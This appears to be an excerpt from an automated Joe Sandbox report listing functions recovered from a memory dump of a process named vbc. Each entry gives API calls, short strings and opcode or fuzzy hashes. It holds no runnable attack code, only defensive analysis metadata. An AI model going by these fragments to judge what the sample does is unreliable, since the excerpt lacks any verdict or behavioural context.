                                                                                                              Function 00407BF7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _snwprintfmemcpy
                                                                                                              • String ID: %2.2X
                                                                                                              • API String ID: 2789212964-323797159
                                                                                                              • Opcode ID: 67cc605bc3185a31bfa90e7c216e456876c101feb6316f2713b0a5e7acf2aabe
                                                                                                              • Instruction ID: 0f19ce75f7d61601c6dcaf4457f6717ff276ffca2b35b3dd887d371e09c964f6
                                                                                                              • Opcode Fuzzy Hash: 67cc605bc3185a31bfa90e7c216e456876c101feb6316f2713b0a5e7acf2aabe
                                                                                                              • Instruction Fuzzy Hash: 87117C32908209BEEB10DFE8C9C69AE73A8BB45714F108436ED15E7141D678AA158BA6
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004153F4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57fileCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • UnmapViewOfFile.KERNEL32(?,00000000,00000000,?,00415610,?,00000000), ref: 0041542C
                                                                                                              • CloseHandle.KERNEL32(?), ref: 00415438
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: CloseFileHandleUnmapView
                                                                                                              • String ID: !-A
                                                                                                              • API String ID: 2381555830-3879722540
                                                                                                              • Opcode ID: e8c78a8d6966c789a432285f25c1a97e3c9752e60e4576fb47e50e48bcd826d3
                                                                                                              • Instruction ID: 6c5ed3bf8746cf55bcd37c1067f9027f6bc59eb5530dee428a664ff8177fa162
                                                                                                              • Opcode Fuzzy Hash: e8c78a8d6966c789a432285f25c1a97e3c9752e60e4576fb47e50e48bcd826d3
                                                                                                              • Instruction Fuzzy Hash: 5611BF35500B10DFCB319F25E945BD777E0FF84712B00492EE4929A662C738F8C48B48
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040BD10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • _snwprintf.MSVCRT ref: 0040BD3E
                                                                                                              • _snwprintf.MSVCRT ref: 0040BD5E
                                                                                                                • Part of subcall function 00407176: wcslen.MSVCRT ref: 00407183
                                                                                                                • Part of subcall function 00407176: WriteFile.KERNEL32(00000001,00000000,00000000,00000000,00000000), ref: 00407192
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _snwprintf$FileWritewcslen
                                                                                                              • String ID: %%-%d.%ds
                                                                                                              • API String ID: 889019245-2008345750
                                                                                                              • Opcode ID: 0621875c29823bfdd60080e68f211d35d61c8b83eb007e49ef2e77d3973846ff
                                                                                                              • Instruction ID: f6bde454874e3f12fe5a715dcb314e2825e8b387052435345983f70e28f49e73
                                                                                                              • Opcode Fuzzy Hash: 0621875c29823bfdd60080e68f211d35d61c8b83eb007e49ef2e77d3973846ff
                                                                                                              • Instruction Fuzzy Hash: 1D01D871500604BFD7109F69CC82D6AB7F9FF48318B10442EF946AB2A2DB75F841DB64
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00408116 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: _memicmpwcslen
                                                                                                              • String ID: History
                                                                                                              • API String ID: 1872909662-3892791767
                                                                                                              • Opcode ID: bae70ed05e2484058d162cab4743c52f8bd5b62447447ec07eacc4e847ca5ebf
                                                                                                              • Instruction ID: 2715e0f5b76d9e8bf3bfa22bf35e41ec2dcc8bed56e6222f305abdff7d2b472d
                                                                                                              • Opcode Fuzzy Hash: bae70ed05e2484058d162cab4743c52f8bd5b62447447ec07eacc4e847ca5ebf
                                                                                                              • Instruction Fuzzy Hash: 7BF0A4721046029BD210EA299D41A2BB7E8DF813A8F11093FF4D196282DF79DC5646A9
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407B1D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileNameSavewcscpy
                                                                                                              • String ID: X
                                                                                                              • API String ID: 3080202770-3081909835
                                                                                                              • Opcode ID: 24396636a29f1ce25200a1500eee54acd60350c694163d5da58a3a079e5601d4
                                                                                                              • Instruction ID: df6fc214ccc966a4ef74be52ccb1fa8de01b9f2d97edd1d3ec6f174b54628a36
                                                                                                              • Opcode Fuzzy Hash: 24396636a29f1ce25200a1500eee54acd60350c694163d5da58a3a079e5601d4
                                                                                                              • Instruction Fuzzy Hash: C801E5B1E002499FDF00DFE9D8847AEBBF4AF08319F10402AE815E6280DB78A949CF55
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040AC82 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040AC9A
                                                                                                              • SendMessageW.USER32(?,0000105F,00000000,?), ref: 0040ACC9
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: MessageSendmemset
                                                                                                              • String ID: "
                                                                                                              • API String ID: 568519121-123907689
                                                                                                              • Opcode ID: 25315a415076cbab8121a395ef60f2b275a5e49d8e8cab10b2ef02e751b77d98
                                                                                                              • Instruction ID: c9b4fa4cd35477e261f68ac5278df415403352ef960fa58aa17ae8539a272808
                                                                                                              • Opcode Fuzzy Hash: 25315a415076cbab8121a395ef60f2b275a5e49d8e8cab10b2ef02e751b77d98
                                                                                                              • Instruction Fuzzy Hash: 4E01D635800304EBEB20DF5AC841AEFB7F8FF84745F01802AE854A6281D3349955CF79
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 004017B7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: PlacementWindowmemset
                                                                                                              • String ID: WinPos
                                                                                                              • API String ID: 4036792311-2823255486
                                                                                                              • Opcode ID: ebc0bb48f8a97b617363729f7cf0900b593d1d2e388969c7686af9c2b4b0c1d2
                                                                                                              • Instruction ID: 403492ab1ae1e8e085d1b686bd15613ed323b870b3f74ac0ef6546771a88dbd4
                                                                                                              • Opcode Fuzzy Hash: ebc0bb48f8a97b617363729f7cf0900b593d1d2e388969c7686af9c2b4b0c1d2
                                                                                                              • Instruction Fuzzy Hash: BDF0FF71600204ABEB14EFA5D989F6E73E8AF04700F544479E9099B1D1D7B899008B69
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407AB6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileNameOpenwcscpy
                                                                                                              • String ID: X
                                                                                                              • API String ID: 3246554996-3081909835
                                                                                                              • Opcode ID: 7dbed658630cd8f1005308aafbad7de56d353a569406e82a8f6fc1bcbb586f5c
                                                                                                              • Instruction ID: 22468463e432baa7279a8bf0e718ba1534ae3331c134da9758c07f59fbfd6832
                                                                                                              • Opcode Fuzzy Hash: 7dbed658630cd8f1005308aafbad7de56d353a569406e82a8f6fc1bcbb586f5c
                                                                                                              • Instruction Fuzzy Hash: 6601B2B1D0024CAFCB40DFE9D8856CEBBF8AF09708F10802AE819F6240EB7495458F54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040AB7D Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                                • Part of subcall function 0040757A: GetModuleFileNameW.KERNEL32(00000000,00000208,00000104,0040AB83,00000000,0040AA36,?,00000000,00000208,?), ref: 00407585
                                                                                                              • wcsrchr.MSVCRT ref: 0040AB86
                                                                                                              • wcscat.MSVCRT ref: 0040AB9C
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: FileModuleNamewcscatwcsrchr
                                                                                                              • String ID: _lng.ini
                                                                                                              • API String ID: 383090722-1948609170
                                                                                                              • Opcode ID: d99e0c1e210eb6d30fbb9606f358fc75cd7c920557a2e7d7f41dfd12b806f831
                                                                                                              • Instruction ID: faf96e17328b6cfe7fea8df6c793311bae4d5162fb77f626620ffa022952bc65
                                                                                                              • Opcode Fuzzy Hash: d99e0c1e210eb6d30fbb9606f358fc75cd7c920557a2e7d7f41dfd12b806f831
                                                                                                              • Instruction Fuzzy Hash: E6C0125394672070F52233226E13B8F17696F22306F60002FF901280C3EFAC631180AF
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0042917D Relevance: 5.2, APIs: 4, Instructions: 181COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: memcpy$memset
                                                                                                              • String ID:
                                                                                                              • API String ID: 438689982-0
                                                                                                              • Opcode ID: 8de3b15170db9a09aff60384115cf250075a5608c27ba135c8b23c8b853ebfd7
                                                                                                              • Instruction ID: 8c22702d92a242b4074cdc0308f2d59ea0ad553ae454c6356856be76eef94a8a
                                                                                                              • Opcode Fuzzy Hash: 8de3b15170db9a09aff60384115cf250075a5608c27ba135c8b23c8b853ebfd7
                                                                                                              • Instruction Fuzzy Hash: 2551A775A0021AFBEF15DF95DC81AEEB775FF04340F54849AF805A6241E7389E50CBA8
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00407EDE Relevance: 5.1, APIs: 4, Instructions: 69COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • wcslen.MSVCRT ref: 00407EF0
                                                                                                                • Part of subcall function 00407475: malloc.MSVCRT ref: 00407491
                                                                                                                • Part of subcall function 00407475: memcpy.MSVCRT ref: 004074A9
                                                                                                                • Part of subcall function 00407475: free.MSVCRT(00000000,00000000,?,00408025,00000002,?,00000000,?,004082EE,00000000,?,00000000), ref: 004074B2
                                                                                                              • free.MSVCRT(?,00000001,?,00000000,?,?,0040833F,?,000000FF), ref: 00407F16
                                                                                                              • free.MSVCRT(?,00000001,?,00000000,?,?,0040833F,?,000000FF), ref: 00407F39
                                                                                                              • memcpy.MSVCRT ref: 00407F5D
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: free$memcpy$mallocwcslen
                                                                                                              • String ID:
                                                                                                              • API String ID: 726966127-0
                                                                                                              • Opcode ID: 53bb7909089ec0eedd8dd5e24e0ed79610a14058f15925bc4f6bfad5848592c5
                                                                                                              • Instruction ID: 7e4f8ba4ba14ff744b1d1ae1a3210968bf085ae1c99a6b147d894c05d7fb7a00
                                                                                                              • Opcode Fuzzy Hash: 53bb7909089ec0eedd8dd5e24e0ed79610a14058f15925bc4f6bfad5848592c5
                                                                                                              • Instruction Fuzzy Hash: 9E21AC71504605EFD720DF18C880C9AB7F4EF443247108A2EF866AB6A1D734F916CB54
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040AD07 Relevance: 5.1, APIs: 4, Instructions: 68COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ??2@$memset
                                                                                                              • String ID:
                                                                                                              • API String ID: 1860491036-0
                                                                                                              • Opcode ID: 6c9a8a4ea2f174229b1bc5670035406f337b1ba6748cfb04f428cb3fb1efcbd4
                                                                                                              • Instruction ID: 8f402eb808e7ad555a909232128954833d185930e872f23c51b71e42452eb786
                                                                                                              • Opcode Fuzzy Hash: 6c9a8a4ea2f174229b1bc5670035406f337b1ba6748cfb04f428cb3fb1efcbd4
                                                                                                              • Instruction Fuzzy Hash: B121F7B0A017009FD7258F6A8545A52FBE5FF90311B29C9AFE108CBAB2D7B8C800CF15
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00414C13 Relevance: 5.0, APIs: 4, Instructions: 41COMMON
                                                                                                              Download Yara Rule
                                                                                                              APIs
                                                                                                              • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,004159A7,000000FF,00000000,00000000,00415592,?,?,00415592,004159A7,00000000,?,00415C14,?,00000000), ref: 00414C2E
                                                                                                              • malloc.MSVCRT ref: 00414C36
                                                                                                              • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,004159A7,000000FF,00000000,00000000,?,00415592,004159A7,00000000,?,00415C14,?,00000000,00000000,?), ref: 00414C4D
                                                                                                              • free.MSVCRT(00000000,?,00415592,004159A7,00000000,?,00415C14,?,00000000,00000000,?), ref: 00414C54
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000007.00000002.493817952.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_7_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ByteCharMultiWide$freemalloc
                                                                                                              • String ID:
                                                                                                              • API String ID: 2605342592-0
                                                                                                              • Opcode ID: 9b055066e38bee567b126a3868761c6a9d3deb5596daa05209853c95383d11b4
                                                                                                              • Instruction ID: ac963edc179c34f330cc22ede2b288a34a1f5b158d5d5a2152ff40f2e70c1069
                                                                                                              • Opcode Fuzzy Hash: 9b055066e38bee567b126a3868761c6a9d3deb5596daa05209853c95383d11b4
                                                                                                              • Instruction Fuzzy Hash: 9AF0A77220521E3BE61026A55C40D7B778CEB86375B10072BB910E21C1FD59D80006B4
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%